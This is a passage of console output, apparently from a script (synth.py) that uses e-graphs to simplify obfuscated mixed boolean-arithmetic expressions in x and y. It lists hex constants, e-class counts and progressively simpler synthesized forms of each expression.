((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))
====================================================================================================
eclasses #: 232
Synthesized (cost = 11): ((x-(x&y))^(x*(x+x)))
====================================================================================================
python3 synth.py
A = 0xab158ca407e708b
B = 0x3bbdd4b3bfa258d
C = 0x67bc0713a30e52ba
D = 0x9e3de1dbaff27723
E = 0x3399e33c88a2571
F = 0x67bc0713a30e52b9
G = 0x6f57b7f04844afe
H = 0x3c7bc3b75fe4ee46
I = 0x3087f1d8b9e35a8d
L = 0x61c21e24500d88dd
M = 0x765a595710882758
N = 0x9843f8ec5cf1ad47
O = 0xf54ea735bf818f75
P = 0xfcc661cc3775da8f
Q = 0x89a5a6a8ef77d8a8
R = 0xe6d36157c789618
S = 0xf90a8480fb7bb502
T = 0x777ba9677f44b1a
U = 0xfc4422b4c405da73
V = 0xc239a39abcf709b1
Z = 0x85e9c95db37db31b
X = 0xffffffffffffffff
eclasses #: 251
Input (cost = 625667): ((-((((((((((((((((((((((x*A)+B)+A)+((((-C)-(-(((x*A)+B)*-D)))|((-(((-E)-((y*A)+B))*-D))...truncated
====================================================================================================
eclasses #: 334
Synthesized (cost = 3517): (((((((((((((((((((0x2*((((x*A)+B)+A)+((~(x&y))*A)))-B)-(((((x*A)+B)+((y*A)+B))+G)+((~((x+y)-(x^y)))*A)))+B)+O)-(((~(x*y))|(x-y))*A))-(((((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+B)+A)+(((~((x-y)^(x*y)))|(-((~x)*(x*y))))*A))*((((((((((((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))+G)+((((~y)-(x*y))|x)*A))*((((x*A)+B)+O)-((((~y)-(x*y))|x)*A)))*D)-((((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))+G)+((((~y)-(x*y))|x)*A))*N))-(((((x*A)+B)+O)-((((~y)-(x*y))|x)*A))*N))+Q)+((((((((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))+G)+((((~y)-(x*y))|(~x))*A))*(((P-((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))-B))+A)+((((x*y)+y)|x)*A)))*D)-((((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))+G)+((((~y)-(x*y))|(~x))*A))*N))-((((P-((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))-B))+A)+((((x*y)+y)|x)*A))*N))+Q))-B)+O)-(((~((x-y)^(x*y)))|(-((~x)*(x*y))))*A)))*D)-(((((((((((0x2*((((x*A)+B)+A)+((~(x&y))*A)))-B)-(((((x*A)+B)+((y*A)+B))+G)+((~((x+y)-(x^y)))*A)))+B)+O)-(((~(x*y))|(x-y))*A))-(((((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+B)+A)+(((~((x-y)^(x*y)))|(-((~x)*(x*y))))*A))*N))-(((((((((((((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))+G)+((((~y)-(x*y))|x)*A))*((((x*A)+B)+O)-((((~y)-(x*y))|x)*A)))*D)-((((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))+G)+((((~y)-(x*y))|x)*A))*N))-(((((x*A)+B)+O)-((((~y)-(x*y))|x)*A))*N))+Q)+((((((((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))+G)+((((~y)-(x*y))|(~x))*A))*(((P-((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))-B))+A)+((((x*y)+y)|x)*A)))*D)-((((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))+G)+((((~y)-(x*y))|(~x))*A))*N))-((((P-((((y*A)+B)+(((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B))-B))+A)+((((x*y)+y)|x)*A))*N))+Q))-B)+O)-(((~((x-y)^(x*y)))|(-((~x)*(x*y))))*A))*N))+Q)+(((((((((((((((0x2*((((x*A)+B)+A)+((~(x&y))*A)))-B)-(((((x*A)+B)+((y*A)+B))+G)+((~((x+y)-(x^y)))*A)))+B)+O)-(((~(x*y))|(x-y))*A))-(((((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+B)+A)+(((~((x-y)^(x*y)))|((~(x*y))-(x*(x*y))))*A))*(((P-((((((((0x2*((((x*A)+B)+A)+((~(x&y))*A)))-B)-(((((x*A)+B)+((y*A)+B))+G)+((~((x+y)-(x^y)))*A)))+B)+O)-(((~(x*y))|(x-y))*A))-(((((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+B))+A)+((((x-y)^(x*y))|(-((~x)*(x*y))))*A)))*D)-(((((((((((0x2*((((x*A)+B)+A)+((~(x&y))*A)))-B)-(((((x*A)+B)+((y*A)+B))+G)+((~((x+y)-(x^y)))*A)))+B)+O)-(((~(x*y))|(x-y))*A))-(((((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+B)+A)+(((~((x-y)^(x*y)))|((~(x*y))-(x*(x*y))))*A))*N))-((((P-((((((((0x2*((((x*A)+B)+A)+((~(x&y))*A)))-B)-(((((x*A)+B)+((y*A)+B))+G)+((~((x+y)-(x^y)))*A)))+B)+O)-(((~(x*y))|(x-y))*A))-(((((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+B))+A)+((((x-y)^(x*y))|(-((~x)*(x*y))))*A))*N))+Q))-B)*D)-N)
====================================================================================================
eclasses #: 1004
Synthesized (cost = 2433): ((((((((((((((((x*A)+((~y)*A))+B)-(((~(x*y))|(x-y))*A))-((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+R)+(((~((x-y)^(x*y)))|(-((~x)*(x*y))))*A))*(((((((((((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))+(y*A))+G)+((((~y)-(x*y))|x)*A))*((S+(x*A))-((((~y)-(x*y))|x)*A)))*D)-((((((~y)-(x*y))|(~x))*A)+G)*F))-(((S+(x*A))-((((~y)-(x*y))|x)*A))*N))+Q)+(((((((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))+(y*A))+G)+((((~y)-(x*y))|(~x))*A))*((T+(-(((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))+(y*A))-B)))+((((x*y)+y)|x)*A)))*D)-((((((~y)-(x*y))|x)*A)+G)*F))-(((T+(-(((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))+(y*A))-B)))+((((x*y)+y)|x)*A))*N))+Q))-B)+O)-(((~((x-y)^(x*y)))|(-((~x)*(x*y))))*A)))*D)-((((((((x*A)+((~y)*A))+B)-(((~(x*y))|(x-y))*A))-((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+R)+(((~((x-y)^(x*y)))|(-((~x)*(x*y))))*A))*N))-((((((((((((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))+(y*A))+G)+((((~y)-(x*y))|x)*A))*((S+(x*A))-((((~y)-(x*y))|x)*A)))*D)-((((((~y)-(x*y))|(~x))*A)+G)*F))-(((S+(x*A))-((((~y)-(x*y))|x)*A))*N))+Q)+(((((((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))+(y*A))+G)+((((~y)-(x*y))|(~x))*A))*((T+(-(((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))+(y*A))-B)))+((((x*y)+y)|x)*A)))*D)-((((((~y)-(x*y))|x)*A)+G)*F))-(((T+(-(((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))+(y*A))-B)))+((((x*y)+y)|x)*A))*N))+Q))-B)+O)-(((~((x-y)^(x*y)))|(-((~x)*(x*y))))*A))*N))+Q)+((((((((((((x*A)+((~y)*A))+B)-(((~(x*y))|(x-y))*A))-((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+R)+(((~((x-y)^(x*y)))|((~(x*y))-(x*(x*y))))*A))*((T+(-((((((x*A)+((~y)*A))+B)-(((~(x*y))|(x-y))*A))-((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+B)))+((((x-y)^(x*y))|(-((~x)*(x*y))))*A)))*D)-((((((((x*A)+((~y)*A))+B)-(((~(x*y))|(x-y))*A))-((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+R)+(((~((x-y)^(x*y)))|((~(x*y))-(x*(x*y))))*A))*N))-(((T+(-((((((x*A)+((~y)*A))+B)-(((~(x*y))|(x-y))*A))-((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+B)))+((((x-y)^(x*y))|(-((~x)*(x*y))))*A))*N))+Q))-B)*D)-N)
====================================================================================================
eclasses #: 5787
Synthesized (cost = 203): (((((((((((-((((~((x-y)^(x*y)))|(((~x)*(x*y))+X))*A)+A))+B)*(((((x-y)^(x*y))|(((x*y)+y)*x))*A)+B))*D)-(((-((((~((x-y)^(x*y)))|(((~x)*(x*y))+X))*A)+A))+B)*N))-((((((x-y)^(x*y))|(((x*y)+y)*x))*A)+B)*N))+Q)+(((((((~((x-y)^(x*y)))|(((x*y)+y)*x))*O)+S)*F)-(((F+((x-y)^(x*y)))+(-(((x-y)^(x*y))|(((x*y)+y)*x))))*((((~((x-y)^(x*y)))|(((x*y)+y)*x))*O)+S)))-(((F+((x-y)^(x*y)))+(-(((x-y)^(x*y))|(((x*y)+y)*x))))*U)))+Z)*D)-N)
====================================================================================================
eclasses #: 130550
Synthesized (cost = 123): ((((((((x-y)^(x*y))|(((x*y)+y)*x))*U)+(((A*(((x-y)^(x*y))&(((x*y)+y)*x)))+B)*(((x-y)^(x*y))|(((x*y)+y)*x))))+(((((F-(((x-y)^(x*y))|(((x*y)+y)*x)))+((x-y)^(x*y)))*O)*(((x-y)^(x*y))&(~(((x*y)+y)*x))))+((((~((x-y)^(x*y)))|(((x*y)+y)*x))+C)*B)))*D)+V)
e-graph reset done.
====================================================================================================
eclasses #: 68
Synthesized (cost = 103): (((((A*(((x-y)^(x*y))&(((x*y)+y)*x)))*(((x-y)^(x*y))|(((x*y)+y)*x)))+(((((F-(((x-y)^(x*y))|(((x*y)+y)*x)))+((x-y)^(x*y)))*O)*(((x-y)^(x*y))&(~(((x*y)+y)*x))))+((((~((x-y)^(x*y)))|(((x*y)+y)*x))+C)*B)))*D)+V)
====================================================================================================
eclasses #: 127
Synthesized (cost = 103): (((((A*(((x-y)^(x*y))&(((x*y)+y)*x)))*(((x-y)^(x*y))|(((x*y)+y)*x)))+(((((F-(((x-y)^(x*y))|(((x*y)+y)*x)))+((x-y)^(x*y)))*O)*(((x-y)^(x*y))&(~(((x*y)+y)*x))))+((((~((x-y)^(x*y)))|(((x*y)+y)*x))+C)*B)))*D)+V)
====================================================================================================
eclasses #: 286
Synthesized (cost = 97): ((V+((((x-y)^(x*y))|(((x*y)+y)*x))*(((x-y)^(x*y))&(((x*y)+y)*x))))-(((((x-y)^(x*y))&(~(((x*y)+y)*x)))*((F-(((x-y)^(x*y))|(((x*y)+y)*x)))+((x-y)^(x*y))))+((((~((x-y)^(x*y)))|(((x*y)+y)*x))+C)*F)))
====================================================================================================
eclasses #: 925
Synthesized (cost = 93): (((F*(((x-y)^(x*y))&(~(((x*y)+y)*x))))+((((x-y)^(x*y))&(~(((x*y)+y)*x)))*((N+(((x-y)^(x*y))|(((x*y)+y)*x)))-((x-y)^(x*y)))))+((((x-y)^(x*y))|(((x*y)+y)*x))*(((x-y)^(x*y))&(((x*y)+y)*x))))
====================================================================================================
eclasses #: 6438
Synthesized (cost = 73): (((((x-y)^(x*y))-(((x-y)^(x*y))|(((x*y)+y)*x)))*(-(((x-y)^(x*y))&(~(((x*y)+y)*x)))))+((((x-y)^(x*y))|(((x*y)+y)*x))*(((x-y)^(x*y))&(((x*y)+y)*x))))
====================================================================================================
eclasses #: 143718
Synthesized (cost = 48): (((((x-y)^(x*y))|(((x*y)+y)*x))*((x-y)^(x*y)))-((((x-y)^(x*y))&(~(((x*y)+y)*x)))*((x-y)^(x*y))))
e-graph reset done.
====================================================================================================
eclasses #: 21
Synthesized (cost = 48): (((((x-y)^(x*y))|(((x*y)+y)*x))*((x-y)^(x*y)))-((((x-y)^(x*y))&(~(((x*y)+y)*x)))*((x-y)^(x*y))))
====================================================================================================
eclasses #: 37
Synthesized (cost = 15): (((x-y)^(x*y))*(((x*y)+y)*x))
====================================================================================================
python3 synth.py --no-strip-opaque-variables
eclasses #: 1017
Input (cost = 5342): ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x|y)*(-0x194a41bffffffffc))+0x67c62228de18a6ae)+((x*y)*(-0x12f7b14ffffffffd)))+((y^x)*(-0xca520dffffffffe)))+(((x|y)*(x|y))*(-0x6d0bbe4000000000)))+(((x|y)*(-0x23919d6000000000))*(x*y)))+(((x|y)*(-0x6d0bbe4000000000))*(y^x)))+(((x*y)*(x*y))*(-0x6d569b0400000000)))+(((x*y)*0x6e37315000000000)*(y^x)))+(((y^x)*(y^x))*0x24bd107000000000))+(((x|y)*((x|y)*(x|y)))*(-0x2e4c60000000000)))+((((x|y)*(x|y))*(-0x682bd8000000000))*(x*y)))+((((x|y)*(x|y))*(-0x457290000000000))*(y^x)))+(((x|y)*(-0x44e20e2000000000))*((x*y)*(x*y))))+((((x|y)*(-0x682bd8000000000))*(x*y))*(y^x)))+(((x|y)*(-0x22b948000000000))*((y^x)*(y^x))))+(((x*y)*((x*y)*(x*y)))*(-0x1138838800000000)))+((((x*y)*(x*y))*(-0x2271071000000000))*(y^x)))+(((x*y)*0x3e5f50a000000000)*((y^x)*(y^x))))+(((y^x)*((y^x)*(y^x)))*0x7fa3674000000000))+(y*0x22c04c00de18a6ae))+(((~x)^y)*0x22c04c00de18a6ae))+((~((~x)|y))*0x22c04c00de18a6ae))+((x&y)*(-0x22c04c00de18a6ae)))+(((x|y)*0x4a9fc5a000000000)*y))+(